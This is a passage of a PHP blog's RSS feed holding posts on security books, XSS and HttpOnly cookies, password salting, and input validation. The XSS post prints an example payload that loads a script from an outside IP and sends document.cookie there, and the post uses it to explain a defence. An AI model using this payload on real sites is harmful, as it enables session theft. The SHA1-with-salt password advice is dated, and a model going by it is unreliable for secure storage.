			<content:encoded><![CDATA[<p></p><p><a href="http://www.amazon.com/gp/product/1565925092?ie=UTF8&amp;tag=maawe-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=1565925092"><img class="alignright" title="HTTP: The Definitive Guide" style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="207" alt="HTTP: The Definitive Guide" src="http://www.kavoir.com/wp-content/uploads/2010/03/HTTPTheDefinitiveGuidesmall.jpg" width="160" border="0" /></a> Security may not make you but it sure can break you. As modern web applications become more and more complexed puzzles and filled with thousands of features catering to a spectrum of user preferences and tastes, the developers are burdened with ever-going responsibilities to keep them sound and safe. There are people (crackers) out there who are trying to make a name by breaking into your backyard or otherwise messing around in any way possible to make your day interesting. Your application or website is potentially vulnerable by simply being online. Everyone including innocent users can mess things up if yours is designed without security awareness. These books of web security are hand selected from Amazon that will get you a strong start on building secure websites applications and avoid being hacked. They are both <strong>new</strong> (published no more than 5 years ago) and <strong>well received</strong> (rated no less than 4/5 by the readers).</p>

<h2>General Website / Web App Security</h2>
<p><a href="http://www.amazon.com/gp/product/0596514832?ie=UTF8&amp;tag=maawe-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0596514832">Web Security Testing Cookbook: Systematic Techniques to Find Problems Fast</a></p>
<p>&#160;<a href="http://www.amazon.com/gp/product/0596514832?ie=UTF8&amp;tag=maawe-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0596514832"><img title="Web Security Testing Cookbook Systematic Techniques to Find Problems Fast" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="383" alt="Web Security Testing Cookbook Systematic Techniques to Find Problems Fast" src="http://www.kavoir.com/wp-content/uploads/2010/03/WebSecurityTestingCookbookSystematicTechniquestoFindProblemsFast.jpg" width="300" border="0" /></a> </p>
<p><a href="http://www.amazon.com/gp/product/0470170778?ie=UTF8&amp;tag=maawe-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0470170778">The Web Application Hacker&#8217;s Handbook: Discovering and Exploiting Security Flaws</a></p>
<p><a href="http://www.amazon.com/gp/product/0470170778?ie=UTF8&amp;tag=maawe-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0470170778"><img title="The Web Application Hacker&#39;s Handbook Discovering and Exploiting Security Flaws" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="371" alt="The Web Application Hacker&#39;s Handbook Discovering and Exploiting Security Flaws" src="http://www.kavoir.com/wp-content/uploads/2010/03/TheWebApplicationHackersHandbookDiscoveringandExploitingSecurityFlaws.jpg" width="300" border="0" /></a> </p>
<p><a href="http://www.amazon.com/gp/product/0321369440?ie=UTF8&amp;tag=maawe-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0321369440">How to Break Web Software: Functional and Security Testing of Web Applications and Web Services</a></p>
<p><a href="http://www.amazon.com/gp/product/0321369440?ie=UTF8&amp;tag=maawe-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0321369440"><img title="How to Break Web Software Functional and Security Testing of Web Applications and Web Services" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="383" alt="How to Break Web Software Functional and Security Testing of Web Applications and Web Services" src="http://www.kavoir.com/wp-content/uploads/2010/03/HowtoBreakWebSoftwareFunctionalandSecurityTestingofWebApplicationsandWebServices.jpg" width="300" border="0" /></a> </p>
<p><a href="http://www.amazon.com/gp/product/1590597842?ie=UTF8&amp;tag=maawe-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=1590597842">Foundations of Security: What Every Programmer Needs to Know (Expert&#8217;s Voice)</a></p>
<p><a href="http://www.amazon.com/gp/product/1590597842?ie=UTF8&amp;tag=maawe-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=1590597842"><img title="Foundations of Security What Every Programmer Needs to Know (Expert&#39;s Voice)" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="394" alt="Foundations of Security What Every Programmer Needs to Know (Expert&#39;s Voice)" src="http://www.kavoir.com/wp-content/uploads/2010/03/FoundationsofSecurityWhatEveryProgrammerNeedstoKnowExpertsVoice.jpg" width="300" border="0" /></a> </p>
<h2>PHP Security</h2>
<p><a href="http://www.amazon.com/gp/product/059600656X?ie=UTF8&amp;tag=maawe-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=059600656X">Essential PHP Security</a></p>
<p><a href="http://www.amazon.com/gp/product/059600656X?ie=UTF8&amp;tag=maawe-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=059600656X"><img title="Essential PHP Security" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="358" alt="Essential PHP Security" src="http://www.kavoir.com/wp-content/uploads/2010/03/EssentialPHPSecurity.jpg" width="300" border="0" /></a> </p>
<p><a href="http://www.amazon.com/gp/product/1590595084?ie=UTF8&amp;tag=maawe-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=1590595084">Pro PHP Security</a></p>
<p><a href="http://www.amazon.com/gp/product/1590595084?ie=UTF8&amp;tag=maawe-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=1590595084"><img title="Pro PHP Security" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="398" alt="Pro PHP Security" src="http://www.kavoir.com/wp-content/uploads/2010/03/ProPHPSecurity.jpg" width="300" border="0" /></a> </p>
<h2>Apache Security</h2>
<p><a href="http://www.amazon.com/gp/product/0596007248?ie=UTF8&amp;tag=maawe-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0596007248">Apache Security</a></p>
<p><a href="http://www.amazon.com/gp/product/0596007248?ie=UTF8&amp;tag=maawe-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0596007248"><img title="Apache Security" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="383" alt="Apache Security" src="http://www.kavoir.com/wp-content/uploads/2010/03/ApacheSecurity.jpg" width="300" border="0" /></a> </p>
<h2>Database / MySQL Security</h2>
<p><a href="http://www.amazon.com/gp/product/0764578014?ie=UTF8&amp;tag=maawe-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0764578014">The Database Hacker&#8217;s Handbook: Defending Database Servers</a></p>
<p><a href="http://www.amazon.com/gp/product/0764578014?ie=UTF8&amp;tag=maawe-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0764578014"><img title="The Database Hacker&#39;s Handbook Defending Database Servers" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="375" alt="The Database Hacker&#39;s Handbook Defending Database Servers" src="http://www.kavoir.com/wp-content/uploads/2010/03/TheDatabaseHackersHandbookDefendingDatabaseServers.jpg" width="300" border="0" /></a> </p>
<p><a href="http://www.amazon.com/gp/product/0470416912?ie=UTF8&amp;tag=maawe-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0470416912">MySQL Administrator&#8217;s Bible (Bible (Wiley))</a></p>
<p><a href="http://www.amazon.com/gp/product/0470416912?ie=UTF8&amp;tag=maawe-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0470416912"><img title="MySQL Administrator&#39;s Bible (Bible (Wiley))" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="367" alt="MySQL Administrator&#39;s Bible (Bible (Wiley))" src="http://www.kavoir.com/wp-content/uploads/2010/03/MySQLAdministratorsBibleBibleWiley.jpg" width="300" border="0" /></a> </p>
<h2>Other Security Related Books</h2>
<p><a href="http://www.amazon.com/gp/product/0321491939?ie=UTF8&amp;tag=maawe-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0321491939">Ajax Security</a></p>
<p><a href="http://www.amazon.com/gp/product/0321491939?ie=UTF8&amp;tag=maawe-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0321491939"><img title="Ajax Security" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="390" alt="Ajax Security" src="http://www.kavoir.com/wp-content/uploads/2010/03/AjaxSecurity.jpg" width="300" border="0" /></a> </p>
<p><a href="http://www.amazon.com/gp/product/047051860X?ie=UTF8&amp;tag=maawe-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=047051860X">Web Application Architecture: Principles, Protocols and Practices</a></p>
<p><a href="http://www.amazon.com/gp/product/047051860X?ie=UTF8&amp;tag=maawe-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=047051860X"><img title="Web Application Architecture Principles, Protocols and Practices" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="358" alt="Web Application Architecture Principles, Protocols and Practices" src="http://www.kavoir.com/wp-content/uploads/2010/03/WebApplicationArchitecturePrinciplesProtocolsandPractices.jpg" width="300" border="0" /></a> </p>
<p><a href="http://www.amazon.com/gp/product/1565925092?ie=UTF8&amp;tag=maawe-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=1565925092">HTTP: The Definitive Guide</a></p>
<p><a href="http://www.amazon.com/gp/product/1565925092?ie=UTF8&amp;tag=maawe-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=1565925092"><img title="HTTP The Definitive Guide" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="389" alt="HTTP The Definitive Guide" src="http://www.kavoir.com/wp-content/uploads/2010/03/HTTPTheDefinitiveGuide.jpg" width="300" border="0" /></a></p>
<p>To learn more about these specific areas and build better web applications, Amazon has the <a href="http://www.kavoir.com/2009/06/best-php-books-for-learning-php-and-mysql.html">best PHP books</a>, <a href="http://www.kavoir.com/2009/06/best-mysql-books-to-learn-mysql-database-php-applications.html">best MySQL books</a> and <a href="http://www.kavoir.com/2009/06/best-books-of-apache-web-server-to-learn-apache-and-use-it.html">best Apache Books</a>.</p>
<h3>Related Posts:</h3>
<ul class="similar-posts">
<li><a href="http://www.kavoir.com/2009/06/best-books-of-apache-web-server-to-learn-apache-and-use-it.html" rel="bookmark" title="June 17, 2009">Best Books of Apache Web Server to Learn Apache and Use It</a></li>
<li><a href="http://www.kavoir.com/2009/06/best-mysql-books-to-learn-mysql-database-php-applications.html" rel="bookmark" title="June 17, 2009">Best MySQL Books to Learn MySQL Database Programming and Development (+ PHP Applications)</a></li>
<li><a href="http://www.kavoir.com/2009/06/best-php-books-for-learning-php-and-mysql.html" rel="bookmark" title="June 17, 2009">Best PHP Books for Learning PHP Development and Programming (with MySQL)</a></li>
<li><a href="http://www.kavoir.com/2010/07/best-and-newest-html-5-books-and-some-css3-books.html" rel="bookmark" title="July 5, 2010">Best and Newest HTML5 Books (and Some CSS3 Books)</a></li>
<li><a href="http://www.kavoir.com/2009/06/best-javascript-books-for-learning-javascript-programming-and-development.html" rel="bookmark" title="June 17, 2009">Best JavaScript Books for Learning JavaScript Programming and Development</a></li>
</ul>
<p><!-- Similar Posts took 3.113 ms --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kavoir.com/2010/03/web-application-security-must-read-books-the-best-at-amazon.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>PHP: setcookie() with HttpOnly Option to Reduce XSS (Cross Site Scripting) Attacks by Preventing JavaScript from Reading Cookies</title>
		<link>http://www.kavoir.com/2010/03/php-setcookie-with-httponly-option-to-prevent-xss-cross-site-scripting-attacks.html</link>
		<comments>http://www.kavoir.com/2010/03/php-setcookie-with-httponly-option-to-prevent-xss-cross-site-scripting-attacks.html#comments</comments>
		<pubDate>Thu, 04 Mar 2010 12:23:53 +0000</pubDate>
		<dc:creator>Yang Yang</dc:creator>
				<category><![CDATA[Information Security]]></category>
		<category><![CDATA[PHP Tips & Tutorials]]></category>

		<guid isPermaLink="false">http://www.kavoir.com/2010/03/php-setcookie-with-httponly-option-to-prevent-xss-cross-site-scripting-attacks.html</guid>
		<description><![CDATA[It may considerably reduce XSS attack possibilities if not completely eradicate it. XSS, or Cross Site Scripting, is probably the most common security problems in web applications that engage in heavy user input. If you’ve ever tried to build a web application that users can input data in a lot of different venues, chances are [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>It may considerably reduce XSS attack possibilities if not completely eradicate it. XSS, or Cross Site Scripting, is probably the most common security problems in web applications that engage in heavy user input. If you’ve ever tried to build a web application that users can input data in a lot of different venues, chances are it has a security hole somewhere that allows XSS attacks. Don’t panic though. Most web applications, even the most sophisticated ones developed by the best programmers such as vBulletin and WordPress release patches from time to time to fix XSS holes.</p>

<p>While it appears that XSS does no more than messing up the web pages in client’s browsers, it can be much much worse. XSS attacks make it possible for crackers to completely steal your identity (e.g. administrator account) on the website by planting a JavaScript file hosted somewhere else into your application pages. For instance, consider a malicious user who manages to put the following HTML code into the biography section of his user profile page on your application:</p>
<pre><code>&lt;script type=text/javascript src=http://1.2.3.4:8081/xss.js&gt;&lt;/script&gt;</code></pre>
<p>When you visit that page, without any knowledge of it at all, your browser automatically downloads and runs the script xss.js which contains a simple snippet:</p>
<pre><code>window.location=&quot;http://1.2.3.4:8081/r.php?u=&quot;
+document.links[1].text
+&quot;&amp;l=&quot;+document.links[1]
+&quot;&amp;c=&quot;+document.cookie;</code></pre>
<p>Via an HTTP GET request to the cracker’s server, the JS file successfully fetches and sends your cookie to the cracker. And the cookie is what your application solely relies on to recognize you as the administrator. Your identity is thus completely stolen by the cracker and he can now log into your application as the administrator. Horror story.</p>
<p>The first defense against XSS is to trust none of the user provided data and encode all incoming data into <a href="http://www.kavoir.com/2009/08/how-to-display-html-code-on-a-web-page.html">HTML entities</a> before outputting them on the web pages. But that’s not enough. Unless you absolutely need JavaScript to be able to access cookies for your application, you are highly recommended to set the cookie to be accessible only via HTTP requests (from your own application server instead of user’s local browser). To do that, set the <strong>HttpOnly</strong> option of the PHP <a href="http://php.net/manual/en/function.setcookie.php">setcookie</a>() function to be <strong>true</strong>:</p>
<pre><code>setcookie(&quot;loggedin&quot;, 1, time() + 86400, &quot;/admin/&quot;, &quot;example.com&quot;, false, <strong>true</strong>); // the last (7th) parameter value true does the job</code></pre>
<p>The last option value &quot;true&quot; effectively turns on the HttpOnly option and the cookie &quot;loggedin&quot; will ONLY be accessible to HTTP requests from the domain server and no JavaScript can read it any more. The HttpOnly parameter of the setcookie() function is only available in PHP 5.2.0 or later.</p>
<h3>Related Posts:</h3>
<ul class="similar-posts">
<li><a href="http://www.kavoir.com/2009/04/php-curl-fetching-url-and-sending-request-with-cookies.html" rel="bookmark" title="April 22, 2009">PHP cURL: Fetching URL and Sending Request with Cookies</a></li>
<li><a href="http://www.kavoir.com/2009/01/using-javascript-to-open-excel-and-word-files-in-html.html" rel="bookmark" title="January 5, 2009">Using JavaScript to Open Excel and Word Files in HTML</a></li>
<li><a href="http://www.kavoir.com/2010/07/how-to-execute-run-php-code-inside-javascript-files.html" rel="bookmark" title="July 9, 2010">How to execute / run PHP code inside JavaScript files?</a></li>
<li><a href="http://www.kavoir.com/2009/11/how-to-recover-lost-firefox-bookmarks-where-is-my-firefox-bookmarks-folder.html" rel="bookmark" title="November 12, 2009">How to recover lost Firefox bookmarks? Where is my Firefox bookmarks folder?</a></li>
<li><a href="http://www.kavoir.com/2010/07/how-to-include-a-javascript-file-inside-a-javascript-file.html" rel="bookmark" title="July 22, 2010">How to include a JavaScript file inside a JavaScript file?</a></li>
</ul>
<p><!-- Similar Posts took 2.875 ms --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kavoir.com/2010/03/php-setcookie-with-httponly-option-to-prevent-xss-cross-site-scripting-attacks.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Just Hashing is Far from Enough for Storing Passwords &#8211; How to Position against Dictionary and Rainbow Table Attacks</title>
		<link>http://www.kavoir.com/2010/03/just-hashing-is-far-from-enough-how-to-position-against-dictionary-and-rainbow-attacks.html</link>
		<comments>http://www.kavoir.com/2010/03/just-hashing-is-far-from-enough-how-to-position-against-dictionary-and-rainbow-attacks.html#comments</comments>
		<pubDate>Thu, 04 Mar 2010 07:37:29 +0000</pubDate>
		<dc:creator>Yang Yang</dc:creator>
				<category><![CDATA[Information Security]]></category>
		<category><![CDATA[Programming Tips & Insights]]></category>

		<guid isPermaLink="false">http://www.kavoir.com/2010/03/just-hashing-is-far-from-enough-how-to-position-against-dictionary-and-rainbow-attacks.html</guid>
		<description><![CDATA[It goes without saying that sensitive information such as passwords or pass phrases should never be stored in plain text in the database in the first place. The common practice is to hash the user password and store the resulted hash string. When the user tries to log in and supplies his password, it is [...]]]></description>
			<content:encoded><![CDATA[<p></p><p><img class="alignright size-full wp-image-1806" title="login password" src="http://www.kavoir.com/wp-content/uploads/2010/03/login-password.jpg" alt="login password" width="110" height="73" />It goes without saying that sensitive information such as passwords or pass phrases should never be stored in plain text in the database in the first place. The common practice is to hash the user password and store the resulted hash string. When the user tries to log in and supplies his password, it is used to generate a hash string to be compared to the one stored in database. If they are identical, the password is matched and the user authenticated because the chance of 2 distinct strings having the same hash string is so low that it’s deemed mathematically impossible.</p>

<p>This approach may be secure in the 70s of the last century, but barely any more. Thanks to unprecedentedly cheap computing power now, <a href="http://en.wikipedia.org/wiki/Rainbow_table">rainbow tables</a>, the mapping function from hash strings to any possible combinations of keyboard characters (alphanumeric, punctuations, etc.) have rendered this password storage / validation method insecure. With a mapping table of trillions of hash to cleartext pairs, it takes only <a href="http://www.codinghorror.com/blog/2007/09/rainbow-hash-cracking.html">160 seconds</a> to crack the password “<strong>Fgpyyih804423</strong>” which most of us would generally agree is fairly safe.</p>
<h2>What can we do?</h2>
<p>Provide a random salt when you are hashing the secret text. For instance with the PHP’s SHA1 hashing function:</p>
<pre><code>$my_hash = sha1('<strong>whatever salt you put here would do,,,???</strong>'.$secret);</code></pre>
<p>As you can see, the salt string can be whatever you like, in a random manner, prefixed and / or suffixed to the secret text before it is hashed into a hash string which will be stored. This way, because the cracker has no idea what the salt is, there’s no way he can create the right rainbow table to perform the crack. Even if he does, he would have to specifically build a rainbow table to crack your database which can be time-consuming. Subsequently, to make this even more difficult for the cracker, you can use different salts for each of the password entries in the database:</p>
<pre><code><strong>$salt</strong> = generate_random_salt(); // your in-house function that generates a random salt, perhaps by <strong>uniqid('some random string', true)</strong>
$my_hash = sha1(<strong>$salt</strong>.$secret); // the $salt must then be stored in your database on a per entry base
// this function is the same as <strong>hash('sha1', $salt.$secret)</strong>, but a better algorithm would be hash('<strong>whirlpool</strong>', $salt.$secret)</code></pre>
<p>When the salt string is a per application constant, you can store it rather obscurely somewhere in your application code. However when you use random salt strings, you will have to store it correspondingly with the hash string $my_hash in the database, or otherwise you won’t be able to generate the correct hash string of the password user provides for authentication against the one stored in database.</p>
<p>It doesn’t even matter if the cracker gets the database and knows all the random salts, because he’d have to create and run through a huge rainbow table specific to each of the random salts to crack just one password. It’s so squarely and prohibitively time-consuming that he’d definitely give up.</p>
<p>A better yet approach to defend against rainbow or dictionary attacks is to be creative in generating the hash string – such as taking the username string into the generation and implementing multiple layers of hashing, in a playfully diversifying manner.</p>
<p>At last, <a href="http://chargen.matasano.com/chargen/2007/9/7/enough-with-the-rainbow-tables-what-you-need-to-know-about-s.html">it is recommended</a> that you generate the initial hash string (the one to be stored in database) by running <strong>1000 iterations of hashing instead of just 1</strong>. The extra computing burden on your server is negligible while it will increase the time needed to crack a single password by 1000 times at the cracker’s end. The point is to make the hashing process as slow as possible rather than the other way around. As the cracking usually makes password guesses and trial logins at a much higher paced speed, the slowness will have a much more detrimental effect on the cracker than on your website.<br />
<h3>Related Posts:</h3>
<ul class="similar-posts">
<li><a href="http://www.kavoir.com/2009/04/the-secure-way-to-store-passwords-with-php.html" rel="bookmark" title="April 20, 2009">The Secure Way to Store Passwords with PHP</a></li>
<li><a href="http://www.kavoir.com/2009/04/php-what-is-hash-hashing-a-string-generate-hash-of-strings.html" rel="bookmark" title="April 22, 2009">PHP: What is Hash? | Hashing a String | Generate Hash of Strings</a></li>
<li><a href="http://www.kavoir.com/2010/09/how-to-create-generate-htpasswd-password-with-php-dynamically.html" rel="bookmark" title="September 18, 2010">How to create / generate .htpasswd password with PHP dynamically?</a></li>
<li><a href="http://www.kavoir.com/2011/02/mysql-how-to-export-a-database-table-to-xml.html" rel="bookmark" title="February 17, 2011">MySQL: How to export a database / table to XML?</a></li>
<li><a href="http://www.kavoir.com/2009/06/reset-mysql-root-password-after-you-forgot-or-lost-it.html" rel="bookmark" title="June 20, 2009">How to Recover or Reset MySQL root Password after You Forgot and Lost It</a></li>
</ul>
<p><!-- Similar Posts took 3.089 ms --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kavoir.com/2010/03/just-hashing-is-far-from-enough-how-to-position-against-dictionary-and-rainbow-attacks.html/feed</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>PHP: Check or Validate URL and Email Addresses &#8211; an Easier Way than Regular Expressions, the filter_var() Function</title>
		<link>http://www.kavoir.com/2010/03/php-check-or-validate-url-and-email-addresses-an-easier-way-than-regular-expressions-the-filter_var-function.html</link>
		<comments>http://www.kavoir.com/2010/03/php-check-or-validate-url-and-email-addresses-an-easier-way-than-regular-expressions-the-filter_var-function.html#comments</comments>
		<pubDate>Thu, 04 Mar 2010 02:55:59 +0000</pubDate>
		<dc:creator>Yang Yang</dc:creator>
				<category><![CDATA[Information Security]]></category>
		<category><![CDATA[PHP Tips & Tutorials]]></category>
		<category><![CDATA[Regular Expression Tips & Tutorials]]></category>

		<guid isPermaLink="false">http://www.kavoir.com/2010/03/php-check-or-validate-url-and-email-addresses-an-easier-way-than-regular-expressions-the-filter_var-function.html</guid>
		<description><![CDATA[To check if a URL or an email address is valid, the common solution is regular expressions. For instance, to validate an email address in PHP, I would use: if (preg_match('&#124;^[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}$&#124;i', $email)) { // $email is valid } A simpler and more forgiving one would be: &#124;^\S+@\S+\.\S+$&#124; Which is usually quite enough for signup forms [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>To check if a URL or an email address is valid, the common solution is regular expressions. For instance, to validate an email address in PHP, I would use:</p>

<pre><code>if (preg_match('<strong>|^[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}$|i</strong>', $email)) {
	// $email is valid
}</code></pre>
<p>A simpler and more forgiving one would be:</p>
<pre><code>|^\S+@\S+\.\S+$|</code></pre>
<p>Which is usually quite enough for signup forms in preventing stupid typo errors. You get to validate the email by a validation link sent to the address anyway, as a final call whether the address is valid or not. For those who are obsessively curious, <a href="http://ex-parrot.com/~pdw/Mail-RFC822-Address.html">this</a> may serve you well.</p>
<p>For URL, you can use this one:</p>
<pre><code>|^\S+://\S+\.\S+.+$|</code></pre>
<p>Or you can use one that is insanely detailed in addressing <a href="http://stackoverflow.com/questions/161738/what-is-the-best-regular-expression-to-check-if-a-string-is-a-valid-url">what a valid URL should be</a>.</p>
<h2>The filter_var() function of PHP5</h2>
<p>What we are talking about here really is the <a href="http://us2.php.net/filter_var">filter_var</a>() function of PHP5 that simplifies the URL and email validation by a large degree. To validate an email:</p>
<pre><code>if (<strong>filter_var</strong>($email, <strong>FILTER_VALIDATE_EMAIL</strong>) !== false) {
	// $email contains a valid email
}</code></pre>
<p>To validate a URL:</p>
<pre><code>if (<strong>filter_var</strong>($url, <strong>FILTER_VALIDATE_URL</strong>) !== false) {
	// $url contains a valid URL
}</code></pre>
<p>While filter_var() is meant to return the filtered results of the input according to the filter type specified, such as FILTER_VALIDATE_EMAIL or FILTER_VALIDATE_URL, you can generally use it to see if a valid email or a valid URL can be extracted from something. Better yet, filter and get the results first, use the result if it is good or abandon it when it is false:</p>
<pre><code><strong>$filtered_email</strong> = filter_var($email, FILTER_VALIDATE_EMAIL);
if (<strong>$filtered_email</strong> !== false) {
	// $filtered_email is the valid email got out of $email
} else {
	// nothing valid can be found in $email
}</code></pre>
<p>Same applies to FILTER_VALIDATE_URL. Here’s a full list of <a href="http://us2.php.net/manual/en/filter.filters.php">filter types</a> of filter_var() you can take advantage of.</p>
<h3>Related Posts:</h3>
<ul class="similar-posts">
<li><a href="http://www.kavoir.com/2010/09/regular-expression-for-date-and-time-strings.html" rel="bookmark" title="September 29, 2010">Regular Expression for Date and Time Strings</a></li>
<li><a href="http://www.kavoir.com/2010/03/php-how-to-detect-get-the-real-client-ip-address-of-website-visitors.html" rel="bookmark" title="March 4, 2010">PHP: How to detect / get the real client IP address of website visitors?</a></li>
<li><a href="http://www.kavoir.com/2009/04/php-check-if-a-string-contains-another-string-or-substring.html" rel="bookmark" title="April 23, 2009">PHP: Check if a string contains another string or substring</a></li>
<li><a href="http://www.kavoir.com/2010/02/php-allow-specific-html-tags-in-text-input-controls-of-html-forms-textarea-input-typetext.html" rel="bookmark" title="February 15, 2010">PHP: Allow Specific HTML Tags in Text Input Controls of HTML Forms, &lt;textarea&gt;, &lt;input type=&rdquo;text&rdquo; /&gt;</a></li>
<li><a href="http://www.kavoir.com/2010/08/how-to-get-all-the-sub-directories-of-a-given-directory-in-php.html" rel="bookmark" title="August 1, 2010">How to get all the sub-directories of a given directory in PHP?</a></li>
</ul>
<p><!-- Similar Posts took 2.927 ms --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kavoir.com/2010/03/php-check-or-validate-url-and-email-addresses-an-easier-way-than-regular-expressions-the-filter_var-function.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>PHP: Allow Specific HTML Tags in Text Input Controls of HTML Forms, &lt;textarea&gt;, &lt;input type=&#8221;text&#8221; /&gt;</title>
		<link>http://www.kavoir.com/2010/02/php-allow-specific-html-tags-in-text-input-controls-of-html-forms-textarea-input-typetext.html</link>
		<comments>http://www.kavoir.com/2010/02/php-allow-specific-html-tags-in-text-input-controls-of-html-forms-textarea-input-typetext.html#comments</comments>
		<pubDate>Mon, 15 Feb 2010 06:46:28 +0000</pubDate>
		<dc:creator>Yang Yang</dc:creator>
				<category><![CDATA[Information Security]]></category>
		<category><![CDATA[PHP Tips & Tutorials]]></category>

		<guid isPermaLink="false">http://www.kavoir.com/2010/02/php-allow-specific-html-tags-in-text-input-controls-of-html-forms-textarea-input-typetext.html</guid>
		<description><![CDATA[Textarea and text input are common html form controls that accept text input. They can be a security challenge as they allow the user to enter anything they want. If you just go about using whatever data the user has entered, your application is anything but secure. Some sort of filtering / white-listing must be [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>Textarea and text input are common html form controls that accept text input. They can be a security challenge as they allow the user to enter anything they want. If you just go about using whatever data the user has entered, your application is anything but secure. Some sort of filtering / white-listing must be in place to protect the integrity of the application and you need to permit or allow only a few special HTML tags in the textarea control of the HTML forms.</p>

<p>The simplest way is to denounce any attempts to add HTML tags in the text box control is the PHP function <strong>strip_tags</strong>():</p>
<pre><code>$all_tags_filtered = <strong>strip_tags</strong>($_POST['message']);</code></pre>
<p>Wherein <code>$_POST['message']</code> is the text just submitted by a user, containing all sorts of HTML tags. Thanks to the function strip_tags(), all the tags are now gone in $all_tags_filtered. The data in $all_tags_filtered is safe to use as it’s plain text.</p>
<p>However, there are times when you want to keep a few simple tags for the user’s convenience, such as &lt;p&gt;, &lt;strong&gt; and &lt;em&gt;. To do this, just feed a second parameter to the function strip_tags():</p>
<pre><code>$some_tags_filtered = strip_tags($_POST['message'], '<strong>&lt;p&gt;&lt;strong&gt;&lt;em&gt;</strong>');</code></pre>
<p>So &lt;p&gt; elements, &lt;strong&gt; elements and &lt;em&gt; elements are kept intact while all the other tags are gotten rid of in $some_tags_filtered.</p>
<p>One important thing to note is that strip_tags() does not check the attributes of the allowed HTML tags. The attributes of the allowed HTML elements such as <code>style=&quot;&quot;</code> and <code>onmouseover=&quot;&quot;</code> are kept as they are in the filtered results which may lead to other security problems. You have to use <a href="http://www.kavoir.com/category/programming/regular-expressions">regular expressions</a> to erase them out and block attached malicious attempts.</p>
<h3>Related Posts:</h3>
<ul class="similar-posts">
<li><a href="http://www.kavoir.com/2009/06/mysql-php-store-form-textarea-value-to-mysql-database-table.html" rel="bookmark" title="June 6, 2009">MySQL, PHP: Store form textarea value or data to MySQL database table</a></li>
<li><a href="http://www.kavoir.com/2009/01/php-checkbox-array-in-form-handling-multiple-checkbox-values-in-an-array.html" rel="bookmark" title="January 31, 2009">PHP: Checkbox Array in Form Handling &#8211; Multiple Checkbox Values in an Array</a></li>
<li><a href="http://www.kavoir.com/2009/02/php-generating-summary-abstract-from-a-text-or-html-string-limiting-by-words-or-sentences.html" rel="bookmark" title="February 28, 2009">PHP: Generating Summary Abstract from A Text or HTML String, Limiting by Words or Sentences</a></li>
<li><a href="http://www.kavoir.com/2009/12/a-basic-php-contact-form-script.html" rel="bookmark" title="December 10, 2009">A Simple PHP Contact Form Script</a></li>
<li><a href="http://www.kavoir.com/2009/01/php-prevent-sql-injection-attacks.html" rel="bookmark" title="January 25, 2009">PHP: Prevent SQL Injection Attacks</a></li>
</ul>
<p><!-- Similar Posts took 4.003 ms --></p>
